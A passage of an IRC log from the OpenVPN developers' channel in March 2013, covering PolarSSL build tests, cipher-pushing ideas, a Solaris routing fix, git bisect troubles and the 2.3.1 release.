stuff you'd need to actually use them as a CA in a managed PKI 13:13 <@ecrist> pekster: see PM 14:38 <+pekster> Recent commits on my easy-rsa 3.x codebase bring support for sub-CAs, vastly improved option/config handling (the config file is available, but unused by default now) and a choice of env-var, CLI options, or the auto-sourced vars file as config methods 14:39 <+pekster> pkcs11 support and a Windows release with bundled interperter/tools (openssl+grep) are the 2 major unfinished features, followed by smaller needs for detailed docs 15:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:37 -!- dazo is now known as dazo_afk 16:55 * plaisthos needs a standard template for "I do not provide a general free openvpn support", especially not for explaining what is wrong with your server setup 17:18 <+krzee> just tell them to join #openvpn or the forum 17:18 <+krzee> or the mail list 17:18 <+krzee> they have enough resources without needing to directly bug you 20:14 -!- raidz is now known as raidz_away 22:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Tue Mar 26 2013 02:53 <@mattock> had some old scraps of polarssl 1.1 remaining on the buildslaves, got rid of those now 02:54 <@mattock> for some reason polarssl "make test" fails/failed on Debian 6 03:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:46 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:58 <@plaisthos> kree: yeah. I just need to write a standard template 04:06 -!- Netsplit *.net <-> *.split quits: @d12fk 04:14 <@vpnHelper> RSS Update - tickets: #275: OpenVPN Connect (Android App) no longer working <https://community.openvpn.net/openvpn/ticket/275> 04:20 <@plaisthos> what do you we do with OpenVPN Connect tickets? 04:20 <@plaisthos> simply close them? 04:28 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 256 seconds] 04:48 <@cron2> dunno whether we have a formal "go to your commercial support representative!" statement... mattock? 04:48 <@cron2> (we do not "just close" them, but refer to the dark side) 04:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 04:52 -!- mode/#openvpn-devel [+v pekster] by ChanServ 05:44 -!- chantra_ [~chantra@unaffiliated/chantra] has quit [Ping timeout: 260 seconds] 06:05 -!- dazo_afk is now known as dazo 06:08 <@dazo> cron2: mattock: (andj) ... I ran the complete yesterday (and continues today) with the 2.3.1 code base using PolarSSL on the client side ... and it seems to work fine ... using both blowfish and aes 06:09 <@dazo> syzzer: ^^^ 06:11 <@cron2> cool 06:34 -!- mattock is now known as mattock_afk 07:20 < syzzer> dazo: nice! 07:22 < syzzer> btw, while I was working on these patches, I've been annoying myself with the options string 07:22 < syzzer> I would really like to throw a number of options (at least the TLS ones) out, but that will we quite a change 07:23 < syzzer> maybe even also prepare it to support cipher auto-negotiation 07:31 <@plaisthos> cipher auto negation would be cool 07:41 <@ecrist> morning, folks 07:44 <@cron2> syzzer: being able to push the cipher should be sufficient (not really "negotiating", but at least "auto") 07:44 * cron2 has no idea why that is not supported today 07:46 <@dazo> my alternatives for theories: 1) old cruft which was never fixed ... 2) believing it would increase the security by enforcing the proper cipher suite on both sides 07:47 <@dazo> 3) avoiding issues with downgrade-cipher-suite attacks 07:54 <@cron2> yeah, all these came to my mind as well :-) - but 2) and 3) sort of fall under "if I don't trust the TLS security of the server, why would I trust it to push a cipher to me" 07:54 <@cron2> and 1) is typical OpenVPN code :-) 09:12 < syzzer> you could adjust it to an 'allowed ciphers' list. That way you allow only trusted ciphers in the config file you control, but still allow for various ciphers to be used, depending on the ciphers available with the other party 09:14 <@dazo> actually, if the client could auto-adapt to what the server is configured to ... that should be enough, right? 09:16 < syzzer> if one client supports just BF, another one just AES, but we trust both ciphers enough we cuold still have both clients connect to the same server 09:17 <@cron2> That might be a bit more complex, having two different ciphers active at the same time, than "just pushing cipher from the server to the client" 09:17 < syzzer> that's certainly true 09:17 < syzzer> thats why I said 'prepare to support' instead of 'implement' ;) 09:17 <@cron2> sending the info "I can do cipher X,Y and Z" to the server would mean protocol changes as well 09:18 <@cron2> but yeah, having pushable cipher from the server plus an allowed cipher list on the client would be amazing :-) 09:20 < syzzer> my concern at this point is primarily that when we upgrade the options string, I would like to create a version that is a bit more future-proof 09:45 <@cron2> hummm, bisecting on Solaris is fun 09:46 <@cron2> there are so many intermediate releases that just don't compile at all... 09:48 <@cron2> ... or don't work at all, instead of "subtly not work for --topology subnet"... 09:51 <@cron2> Tue Mar 26 14:00:17 2013 TUN/TAP device tun0 opened 09:51 <@cron2> Tue Mar 26 14:00:17 2013 Sorry but you cannot use --dev tap and --ifconfig together on this OS because I have not yet been programmed to understand the appropriate ifconfig syntax to use for TAP-style devices on this OS. Your best alternative is to use an --up script and do the ifconfig command manually. 09:51 <@cron2> yeah 09:52 < syzzer> must be a real joy ;) 09:53 <@cron2> I was just trying to see whether I can find a specific commit that broke it, but well... might be easier just to fix the code instead 09:54 <@cron2> Solaris is not exactly the platform that is most heavily used and most heavily tested... 10:11 <@cron2> git bisect is confusing me 10:13 <@cron2> I tell it that f0eac1a5979096c6 is good and HEAD is bad, and it presents commits that are not "between this commit and HEAD" but "before $good". Huh? 10:15 <@cron2> oh 10:15 <@cron2> it doesn't, it's just that "git log" inside a git-bisect-active tree shows weird stuff 10:15 <@cron2> yes it *does* 10:15 <@cron2> this is all weird 10:18 <@cron2> but maybe it was because I was in release/2.3 branch when starting the bisect... 10:19 <@dazo> if you do git bisect between branches/tags ... that can indeed become confusing when looking at the git-log 10:20 <@cron2> I was less confused than git, I think. It offered me stuff to test that was clearly outside the god...bad range :-) 10:21 <@dazo> ahh, that might be due to some branch jumping (not sure why it would do that, though, but it does from time to time decide so) 10:21 <@cron2> maybe because $good does not exist in release/2.3... I'm retrying with master now, and that looks more reasonable 10:22 <@dazo> yeah, most likely that's the reason 10:23 <@cron2> funny 10:23 <@dazo> you can do: git branch --contains <commitish> ... and see which branches that commit exists in 10:24 <@cron2> still doing the same, it's now offering me 4e1cc5f6dda22e9ff121d3753066775c25448bcc, which was committed in April 2010, while the "good" release is from October 2010 10:25 <@dazo> the patch was probably authored April 2010 ... but could be committed later on .... 10:25 <@cron2> judging by "git log" it was also committed earlier 10:26 <@dazo> not a commit I have in my trees, though ... 10:29 <@cron2> you have a funny tree, it seems 10:29 <@cron2> commit 4e1cc5f6dda22e9ff121d3753066775c25448bcc 10:29 <@cron2> Author: David Sommerseth <dazo@users.sourceforge.net> 10:29 <@cron2> Date: Fri Apr 16 22:02:36 2010 +0200 10:29 <@cron2> Harden create_temp_filename() (version 2) 10:30 <@dazo> duh! 10:30 <@dazo> remove the trailing comma from the commitish helps .... :p 10:30 -!- raidz_away is now known as raidz 10:31 <@dazo> commit 4e1cc5f6dda22e9ff121d3753066775c25448bcc 10:31 <@dazo> Author: David Sommerseth <dazo@users.sourceforge.net> 10:31 <@dazo> AuthorDate: Fri Apr 16 22:02:36 2010 +0200 10:31 <@dazo> Commit: David Sommerseth <dazo@users.sourceforge.net> 10:31 <@dazo> CommitDate: Thu Oct 21 11:37:03 2010 +0200 10:31 <@dazo> (--pretty=fuller gives you that info) 10:31 <@cron2> shouldn't "git log" show the commits in commit-order nonetheless? 10:32 <@dazo> it does ... but that commit got pulled in later .... but it displays the author date, not the commit date by default 10:32 <@cron2> well... the "good" commit was pulled in Nov12, so it still shouldn't offer yours 10:33 <@dazo> yeah 10:33 <@cron2> maybe git bisect is just borked on Solaris, given that much of it is shell script, and shell on Solaris is... we don't talk about that 10:33 * cron2 retries the commit on freebsd 10:33 <@cron2> bisect 10:34 <@cron2> indeed, that offers me a different committish just to start with 10:38 <@cron2> mmmh, no. Still presents weird stuff 10:38 * cron2 gives up on bisecting this 10:40 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 10:40 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:41 <@d12fk> andj, syzzer: you made it into fefes blog =) 10:41 <@d12fk> http://blog.fefe.de/?ts=afaf7f8c 10:41 <@vpnHelper> Title: Fefes Blog (at blog.fefe.de) 10:43 <@cron2> hehe 10:43 <@cron2> so maybe we should not tell Fefe that there is fox-it code in openvpn 10:44 <@dazo> hehehe 10:47 <@d12fk> gl translate has a goodie there: >>...and occur for years for "Back hoes"<< 10:47 <@d12fk> i loled 10:48 <@dazo> hahaha 10:53 <@cron2> *sigh* 10:53 <@cron2> mergin James' route.c overhaul broke Solaris, as I expected 10:56 <@d12fk> route overhaul? what's different 10:57 <@cron2> d12fk: that was more than a year ago 10:57 <@d12fk> oh missed that obviously 10:57 * dazo still have nightmares from that merge 10:57 <@cron2> he basically refactored route.c and route.h in his svn branch, and I think dazo still wakes up screaming at night with memories of the merge conflicts that gave us 10:57 <@cron2> what I said :) 10:57 <@dazo> heh 10:58 <@cron2> test run 3: all tests OK. 10:58 <@cron2> that's what I wanted to see 10:58 * dazo heads out for a whiel 10:58 <@d12fk> this project is getting fragmented beyond recognition 10:58 <@dazo> while* 10:59 <@d12fk> svn openvpn, git openvpn, android openvpn, openvpn 3 *sigh* 10:59 * cron2 is working on merging the rest of svn into git (it's not much left) and then openvpn tech will actually switch to git openvpn for AS 11:00 <@cron2> well, maybe I should make that "I *should be* working on...", not hanging around in IRC all day... 11:00 <@d12fk> hrhr 11:00 <@d12fk> not providing any more distraction then 11:00 <@d12fk> \part 11:00 <@d12fk> dang =) 11:01 * cron2 distracts himself 11:05 <@cron2> 576dc96ca1ef1badb651e05ac694f07c91e02518 11:05 <@cron2> that's the one 11:16 <@cron2> Test sets succeded: 1 2 2a 2b 3 4 4b 5. 11:16 <@cron2> Test sets failed: none. 12:29 <@plaisthos> d12fk: feel free to review the patches ;) 12:31 <@d12fk> lack of knowledge prevents from doing so 12:32 <@plaisthos> :) 12:32 <@plaisthos> it is just basic unix networking 12:32 <@plaisthos> (basic as in lowlevel not as in easy) 12:37 <@d12fk> teh internets are a series of tubes, that's about how deep i go =) 12:41 <@d12fk> ... and am confused because it's called socket where it should be faucet =) 12:46 <@plaisthos> and tap in britain ;) 12:47 <@d12fk> only if the internets are for beers 12:48 <@d12fk> suddenly tap devices appear in a different light... =) 13:21 <@ecrist> heh 13:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:18 * dazo heads out for Easter holiday now (back Wed April 3rd) ... but available on e-mail if anything urgent pops up 15:19 -!- dazo is now known as dazo_afk 15:21 <@cron2> plaisthos: speaking of review - care to review my solaris patch? 15:27 <+pekster> Oh, I looked at that patch earlier. Looks fine to me. I'd be happy to ACK that for you if it fixes an OS issue (I lack Solaris, so I can ACk the code, not necessarily the bugfix behind it) 15:28 <+pekster> Was the removed FIXME comment no longer relevant, or did this fix the on-link issue it referred to? 15:29 <@cron2> as far as I'm concerned, this fixes the on-link issue (Solaris is too dumb to do "ip route ... dev ppp0", so you always have to have an IP address and then you can set metric 0 to make the route "on link") 15:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:38 <+pekster> Weird way of the platform to handle it, but the change makes sense. ACK coming from me 15:39 <@cron2> that's "the old unix" way :-) - Linux and FreeBSD are just too modern 15:40 <+pekster> Doesn't stop folks from wanting to use old tools. Plenty of "modern" Linux distros are still using ifconfig too. I understand as a compat layer, but new stuff ought to be using iproute2. Oh well :) 15:41 <@cron2> ack. It's so much more useful, especially for adding/removing one-of-multiple IP addresses on an interface... 16:21 <@andj> hmm, fefe's blog... I think Fox has been sponsoring the Dutch hacker conferences since the company first existed 17:48 <@plaisthos> andj: so they are evil since day one ;) 18:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:01 -!- raidz is now known as raidz_away 22:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Wed Mar 27 2013 01:49 -!- mattock_afk is now known as mattock 02:29 <@mattock> restart buildmaster, it had lost track of the fedora 16 buildslave 02:29 <@mattock> ed 02:30 <@mattock> it's now running polarssl (1.2.6) builds... if those pass, then all buildslaves except opensuse 12.1 have passed 02:32 <@mattock> I'm thinking of retiring opensuse... many/all of the build failures on that slave have been related to a KVM issue triggered only on the opensuse VM 03:22 <@cron2> mattock: great news so far :-) - have you added t_client test runs to one of the polar builds as well? 03:33 <@mattock> not yet 03:33 <@mattock> btw. fedora 16 passed polarssl build tests 03:33 <@mattock> cron2: do you think we need to integrate polarssl connectivity tests before release 2.3.1, or can it wait a bit longer? 03:34 <@mattock> because 2.3.1 is otherwise ready to be released, right? 03:34 <@cron2> I think it would be nice to have, but as dazo and I have run these manually on Linux and FreeBSD, I think we don't *really* need them "right now!" 03:34 <@mattock> ok 03:35 <@mattock> is anything blocking 2.3.1 atm? 03:35 <@cron2> the Solaris fix needs to get in - I got the ACK yesterday, but didn't merge/push yet 03:35 <@cron2> let me do that... 03:35 <@mattock> I'll prepare the 2.3.1 release today and make the release tomorrow 03:35 <@mattock> don't have enough time today 03:35 <@cron2> just wait a few more minutes :) 03:35 <@mattock> ok, no hurry 03:38 <@mattock> I decided to migrate the opensuse buildslave to my laptop, which is running a more recent kvm... maybe that fixes the build issues it's having 03:40 <@cron2> so, merged and pushed. If the buildslaves like this one, feel free to tag + ship 03:43 <@mattock> can you do the Git tagging? 03:43 <@vpnHelper> RSS Update - testtrac: Fix directly connected routes for "topology subnet" on Solaris. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=792e8956b999b6932d472e4ab592bff160e52888> 03:43 <@cron2> I'd prefer to let dazo do that. No idea what to do here, and need to leave to a customer meeting in a few minutes anyway (so better not learn in a hurry) 03:47 <@cron2> there's more to it, I think, like changing version.m4 and such 03:47 <@cron2> ChangeLog... 03:48 * cron2 wonders why it's always my patches that come in "right before release"? 03:48 <@cron2> last one before 2.3.0 was also me 04:05 <@mattock> yes, that's why I wanted to avoid the release process myself 04:05 <@mattock> I only have a fairly vague idea what needs to be done at the Git/openvpn source end 05:07 <@mattock> opensuse migrated, now building the queued builds 06:11 <@mattock> buildbot shows all green now 06:14 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn-devel 06:23 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [] 06:33 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn-devel 06:34 < BadCodSmell> Why do people do this: accept () ? 06:42 < BadCodSmell> Setiously though, what is the reason for no support for udp+tcp? 06:42 < BadCodSmell> Is there some paricular issue involved? 06:43 < BadCodSmell> As I see it the easiest way would be to use threads to encapsulate existing socket handling and hope for the best. 06:43 < BadCodSmell> rather than switch to a fully non-blocking mode/changing all network calls 06:46 < BadCodSmell> I looks like so far open vpn has no thread support 06:51 <@ecrist> BadCodSmell: wtf are you talking about? 06:56 <@plaisthos> BadCodSmell: a lot of work? 06:56 <@plaisthos> Implementing threading in openvpn is not trivial task 07:02 <@plaisthos> BadCodSmell: encapsulating existing socket is non trivial at least 07:04 <@plaisthos> BadCodSmell: what is wrong about accept?! 07:05 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection] 07:05 <@plaisthos> so much for that 07:39 <@d12fk> trollololo lolo lolo lolo 07:39 <@cron2> mattock: cool! 07:40 <@cron2> d12fk: yeah... 09:01 <@mattock> these drive-by besserwissers are great! 09:42 <@cron2> so where's dazo hiding today? 09:42 <@d12fk> [Tue. 26.03.2013 21:18] * dazo heads out for Easter holiday now (back Wed April 3rd) ... but available on e-mail if anything urgent pops up 09:42 <@cron2> bah 10:20 -!- raidz_away is now known as raidz 10:39 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn-devel 10:40 < BadCodSmell> plaisthos: depends how separated the socket part is 10:40 < BadCodSmell> But, I think making a little udp to tcp daemon might not be that hard 10:40 <@cron2> BadCodSmell: send patches, we'll review 10:40 < BadCodSmell> I guess it partly depends on how much ssl over udp differs in terms of data 10:41 < BadCodSmell> Perhaps on the weakend 10:41 < BadCodSmell> Any reason not to use pthread? 10:41 <@cron2> nothing, except for "nobody coded it in a way that works properly yet" 10:42 <@cron2> we threw out the thread code that was in there for 2.3, because it was incomplete and not working 10:42 < BadCodSmell> first thing is to sniffer because converting udp ssl to tcp ssl might turn out really easy if its mostly just copying data from one pipe to another with no or trivial changes, or not 10:43 < BadCodSmell> If I patched it the threads would solely be fore running both tcp and udp sockets 10:45 < BadCodSmell> What's with all the multi? 10:46 < BadCodSmell> IS this the incomplete multi threaded stuff? 10:47 <@cron2> that's "multi client handling" (multi.c, mtcp.c, mudp.c) 10:53 <@cron2> there is no threading in 2.3 anymore 11:00 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection] 12:43 <@cron2> what is PRODUCT_VERSION_RESOURCE from version.m4 used for?? 12:44 <@cron2> ah, windows building... 12:44 * cron2 sets that to 2,3,1,0 13:17 -!- novaflash is now known as novaflash_away 13:30 -!- novaflash_away is now known as novaflash 13:35 <@cron2> so. Either I have now massively blundered, or the tree is tagged and mattock can release :-) 13:35 <@cron2> mattock: *poke* 14:14 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn-devel 14:15 < BadCodSmell> I see 14:16 < BadCodSmell> Again, (sorry, I haven't had time to examine the code closely yet and my c syntax is good but my memory/knowledge of libs tends to be poor so I have to look up alot), is there any particular reason it wasn't made to allow the use of udp or tcp via something like socket select or epoll? 14:16 <@plaisthos> BadCodSmell: it is using socket slect and epoll 14:17 < BadCodSmell> Oh 14:17 < BadCodSmell> so in theory it might actually be easy then 14:17 < BadCodSmell> actually 14:17 <@plaisthos> what? 14:17 < BadCodSmell> I imagine it would really have to without threads 14:17 <@plaisthos> BadCodSmell: what are you trying to achieve? 14:18 < BadCodSmell> tcp and udp together 14:18 <@plaisthos> server listening on multiple sockets? 14:18 <@plaisthos> or two simultaneous sockets? 14:18 < BadCodSmell> no, that';s easily fixed with iptables redirect 14:18 < BadCodSmell> mixed protocols 14:18 < BadCodSmell> udp + tcp 14:18 < BadCodSmell> trying to work out a good approach before really diving in 14:18 <@plaisthos> what should be the advantage of such a multipath approach? 14:18 < BadCodSmell> if possible 14:18 < BadCodSmell> connections from all number of different networks 14:19 < BadCodSmell> some of them have quite constraining firewalls 14:19 < BadCodSmell> putting it on a bunch of different ports is usually a simple way to bi pass if necessary 14:19 < BadCodSmell> there are all kinds of reasons on different networks why it breaks 14:20 < BadCodSmell> if I can get both udp and tcp working, I might consider also putting in some tunneling via other means 14:20 < BadCodSmell> once there's a multiple socket thing in place.. 14:20 < BadCodSmell> it makes it easier to plug in something new 14:20 <@plaisthos> multipathing is most times not trivial 14:21 < BadCodSmell> for any particular reason in this case? 14:22 < BadCodSmell> I don't have so much trouble in higher level languages with single thread, socket select, and multiple protocols. 14:22 <@plaisthos> you need to deal with packet reordering, need an algorithm to distribute the packets over both links. For that you need to estimate the bandwidth of each link. Need to cope with different semantics of udp vs tcp. Need recovery mechanism if only one link breaks. And for openvpn you need to seperate the link context from a client context. It is a can of worms 14:23 < BadCodSmell> hmm 14:23 < BadCodSmell> open vpn has the code for both 14:23 < BadCodSmell> already 14:23 <@plaisthos> Trying udp first and if that does not work use tcp is what most poeple do at the moment 14:24 < BadCodSmell> the problem is we'll have one network where we find udp on port 53 works, but tcp on 80 doesnt and another that is vice versa 14:25 < BadCodSmell> sometimes the port is allowed but it does deeper stuff then just whatever level ip->tcp/udp is on :) 14:25 < BadCodSmell> ie some kind of proxy, transparent, etc 14:26 < BadCodSmell> there's a difficult balance too because performance is fairly important so if trying something like a tcp->http http->tcp tunnel always there's quite some overhead there. 14:27 < BadCodSmell> so because there are 1000s of networks potentially, need to have it all :), roaming, etc 14:28 < BadCodSmell> personally, I think this should be an important consideration of openVPN, this is quite a popular way in which is will be used, from arbitrary networks 14:28 < BadCodSmell> later ill also be seeing if the conf can take fallback settings :P 14:29 < BadCodSmell> obviously list rather than atom, try in order provided I guess, one day, someone could add speed test to it, use fastest 14:29 < BadCodSmell> or least lossy, etc but this is just a thought 14:42 <@plaisthos> Trust me on that, real adaptive multipath is very complex 15:04 * cron2 suggests openvpn over sctp 16:46 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Read error: Operation timed out] 17:56 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 19:40 -!- raidz is now known as raidz_away 20:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:55 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:55 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:00 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 21:00 -!- krzie is now known as krzee --- Day changed Thu Mar 28 2013 01:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC - http://znc.in] 01:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:28 <@mattock> cron2: gotcha, starting the release procedure... 03:08 <@cron2> \o/ 03:39 < syzzer> nice :) 03:43 <@cron2> well, thanks for your patience in re-working the patches ever so often :) 04:28 <@mattock> uh, other stuff came up, starting the release process now (for real) 04:28 <@mattock> won't be able to make the release today, hopefully tomorrow morning 04:37 <@d12fk> syzzer: is there any chance EC crypto is getting into polar any time soon? 04:41 < syzzer> d12fk: I'm not sure. I do know Paul is working on it and would like to get it in, but I've got no ETA on that 04:48 <@d12fk> kthx 04:49 <@d12fk> syzzer, andj: the OHM issue now even made it to spiegel online... seems you're getting some bad german press 04:49 < syzzer> if you really need more info, I could try and poke around a bit 04:50 <@d12fk> www.spiegel.de/netzwelt/netzpolitik/x-a-891231.html 04:50 < syzzer> yeah, I read the Spiegel article yesterday. Had already a lot more nuance than the blogposts ;) 04:50 <@d12fk> nah i'm fine just thinking about a mid term alternative to ossl 04:51 < syzzer> okay, then i'll just let you know if i hear something new :) 04:52 <@d12fk> cool 06:23 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 255 seconds] 06:23 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 06:26 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 06:28 -!- Netsplit *.net <-> *.split quits: @plaisthos, jgeboski 06:28 -!- jgeboski- is now known as jgeboski 06:31 -!- Netsplit over, joins: @plaisthos 08:26 -!- mattock is now known as mattock_afk 08:33 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 08:45 <@plaisthos> mattock_afk: I will put a new version of my client on the market when you have the release ready 08:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:54 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection] 10:16 -!- raidz_away is now known as raidz 11:13 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn-devel 15:58 <@plaisthos> btw. the openvpn shaping feature does not work in multi tcp server mode or am I misreading the code? 16:00 <@cron2> plaisthos: never used it yet (and never stared at the code either), sorry 16:01 <@plaisthos> cron2: :) 16:01 <@plaisthos> I am trying to figure the socket wait etc. 16:01 <@plaisthos> for my multi socket stuff 16:12 <@plaisthos> btw. we have now max_int and MAX in openvpn ... 16:13 <@plaisthos> perhaps we should use max_int intead of MAX 18:51 -!- raidz is now known as raidz_away 23:22 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] --- Day changed Fri Mar 29 2013 02:23 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 02:44 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:58 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Read error: Operation timed out] 03:59 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn-devel 05:01 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 05:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:08 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 05:08 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:08 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 05:13 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 05:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:14 <@cron2> today freenode sort of sucks... 06:01 <@andj> There's a FAQ about the sponsoring up on the OHM page now too https://ohm2013.org/site/sponsors/sponsor-policy-faq/ 06:01 <@vpnHelper> Title: Sponsor policy FAQ OHM2013 (at ohm2013.org) 06:20 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 06:47 <@plaisthos> andj: not that it would help against conspiracy heratics 07:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:00 <@andj> plaisthos: true, but then again, nothing helps there :) 08:02 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 08:18 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:52 -!- raidz_away is now known as raidz 11:26 -!- mattock_afk is now known as mattock 11:27 <@mattock> plaisthos: working on the release now, doing smoketests on windows 11:27 <@mattock> so far so good 11:27 <@mattock> then I'll push the deb/rpms into the repo, update the web pages and make the announcements 11:27 <@mattock> eta 2 hours 12:16 <@mattock> 2.3.1 now online, will make the announcements 12:29 <@cron2> \o/ 12:33 <@mattock> ok, it's out 12:43 <+pekster> Looks good; the Windows release appears fine, and the source tarball builds & passes checks for me too 12:43 <@cron2> pekster: which platform are you building on? 12:44 <+pekster> 3.5.7-gentoo Intel(R) Celeron(R) CPU 2.26GHz GNU/Linux 12:45 <@cron2> my server tests run on gentoo, so that's actually one of the best tested linux variants :-) (and mattock tests all the different build option combinations, while I only test "plain configure") 12:46 <+pekster> Unless I have exotic needs, I usually use --enable-debug --enable-iproute2 and tend to use CFLAGS="-mfpmath=sse" (that's the default on 64-bit, but I'd just as soon take advantage of it on 32-bit too as long as nothing breaks) 12:49 <+pekster> I should look at what needs to happen to make iproute2 the default if support exists 12:49 <+pekster> It would be nice to migrate away from the old net-tools when possible, since it's effectively dead upstream on Linux 12:57 <@cron2> we've been toying with the idea to use netlink sockets directly, but nobody wrote anything yet... 13:04 <+pekster> Another 3 years and CentOS might even support it :P 13:04 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Quit: Off the grid] 13:05 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn-devel 13:09 -!- MeanderingCode [~Meanderin@198.1.124.86] has left #openvpn-devel [] 13:11 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn-devel 13:44 <+pekster> Apparently that did get into CentOS 6. I haven't toyed with it since 5, so they've added some "within the last 5 years" modern support. Still building 2.6 kernels though (6.4 is up to their 358th revsion, so they're getting really good at it) 14:38 -!- raidz is now known as raidz_away 15:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 16:13 -!- raidz_away is now known as raidz 19:10 -!- raidz is now known as raidz_away 21:21 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 258 seconds] 21:34 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:56 -!- Netsplit *.net <-> *.split quits: ender|, +pekster 22:00 -!- Netsplit over, joins: ender|, +pekster --- Day changed Sat Mar 30 2013 03:54 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Quit: Off the grid] 03:55 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 07:54 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 07:56 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 14:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:49 -!- dazo_afk is now known as dazo 17:26 <@plaisthos> openvpns event system is hell 21:25 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] --- Day changed Sun Mar 31 2013 02:19 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:19 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:19 -!- mattock_afk is now known as mattock 04:00 -!- mattock is now known as mattock_afk 06:11 <@cron2> plaisthos: like the routing table hash? advanced magic, and hard to grok? 06:37 <@plaisthos> 